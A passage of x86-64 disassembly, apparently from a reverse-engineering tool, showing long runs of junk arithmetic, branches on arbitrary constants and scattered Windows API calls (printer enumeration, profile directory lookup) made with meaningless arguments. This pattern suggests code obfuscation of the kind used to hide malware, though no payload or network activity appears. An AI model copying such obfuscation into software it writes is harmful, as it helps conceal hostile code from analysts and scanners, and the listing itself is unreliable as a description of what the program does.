shl rax, cl
mov qword [rsp + 0x8dd8], rax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14dc], ax
cmp dword [rsp + 0x4d2c], 0x44f4
jbe 0x14000c153
movsx eax, word [rsp + 0x14e0]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x14c8]
sub ecx, edx
cmp eax, ecx
jg 0x14000c406
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x180], al
lea r9, [rsp + 0x272a0]
mov r8d, 0xb
mov edx, 0x44
mov rcx, qword [rsp + 0x8e68]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x8c70], rax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
jmp 0x14000c453
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
imul eax, ecx
mov word [rsp + 0x14dc], ax
mov eax, dword [rsp + 0x4d54]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8dd8]
mov qword [rsp + 0x8e70], rax
mov dword [rsp + 0x4e00], 0x6522
mov eax, dword [rsp + 0x4dd8]
mov dword [rsp + 0x4e04], eax
cmp dword [rsp + 0x4e04], 0x790c87a8
je 0x14000c48e
jmp 0x14000c535
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x180]
sar eax, cl
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
lea rax, [rsp + 0x8de0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x39
lea r9, [rsp + 0x8da0]
mov r8d, 0x6d
mov rdx, qword [rsp + 0x8d60]
mov ecx, 0x53
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14e4], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
jmp 0x1401b23de
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4840], eax
mov eax, dword [rsp + 0x4d10]
sub eax, 5
mov dword [rsp + 0x4d10], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [0x1401cc010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movsx eax, word [0x1401cd714]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc008]
xor eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov eax, dword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x8e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c38]
mov qword [rsp + 0x8e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
cmp dword [rsp + 0x4d10], 0x7428
jae 0x14000c535
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4cf0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8cc0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000c766
lea rdx, [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8e88]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x8bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov dword [rsp + 0x4e08], 0x11a42
cmp dword [rsp + 0x4d04], 0x33ea
ja 0x14000c924
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d8], ax
movzx eax, byte [0x1401cc008]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4de8]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x8e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4da0], eax
mov eax, dword [rsp + 0x4d04]
add eax, 0xa
mov dword [rsp + 0x4d04], eax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x8ca0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e70], rax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14cc], ax
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x1e0], al
jmp 0x14000c771
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov word [rsp + 0x14e8], ax
cmp dword [rsp + 0x4d4c], 0xd820
je 0x14000cf37
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de8], eax
mov eax, dword [rsp + 0x4d4c]
add eax, 2
mov dword [rsp + 0x4d4c], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
sar eax, cl
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4da0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8dd8]
movzx ecx, al
mov rax, qword [rsp + 0x8ca0]
shl rax, cl
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov qword [0x1401cc010], rax
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e0]
sub eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d54]
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x8de0]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401cd710], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [0x1401cc018]
shl eax, cl
mov word [rsp + 0x14cc], ax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd714], ax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e8]
add eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d4], ax
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8e70], rax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x8de0]
mov qword [rsp + 0x8e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e20]
movzx ecx, al
mov rax, qword [rsp + 0x8bd0]
shl rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401cc010], rax
movzx eax, word [0x1401cc018]
movzx ecx, word [rsp + 0x14e4]
and eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e20], rax
mov eax, dword [rsp + 0x4dd8]
mov ecx, dword [rsp + 0x4840]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
jmp 0x14000c937
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov dword [rsp + 0x4e0c], eax
cmp dword [rsp + 0x4e0c], 0
je 0x14000cf69
cmp dword [rsp + 0x4e0c], 0x401
je 0x1401b229f
jmp 0x1401b22ba
cmp dword [rsp + 0x4d28], 0xf57f
ja 0x14000d2f7
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d28]
add eax, 0x6d
mov dword [rsp + 0x4d28], eax
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1dc], al
mov eax, dword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x8df8]
mov qword [rsp + 0x8ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ea0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x4d54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x8ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ea8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14d8]
xor eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sar eax, cl
mov byte [rsp + 0x1e0], al
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e8], ax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
jmp 0x14000cf69
cmp dword [rsp + 0x4e00], 0x9bb3
je 0x14000d7d0
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [0x1401cd714]
sub eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1df]
shl eax, cl
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
sar eax, cl
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8c08], rax
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4dd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401cd710], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x8dd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e00], rax
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e8]
and eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401cd710], eax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x8dd8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1df]
shl eax, cl
mov byte [rsp + 0x1de], al
mov eax, dword [rsp + 0x4e00]
add eax, 0xe5
mov dword [rsp + 0x4e00], eax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14e0], ax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [0x1401cc018]
and eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
add eax, ecx
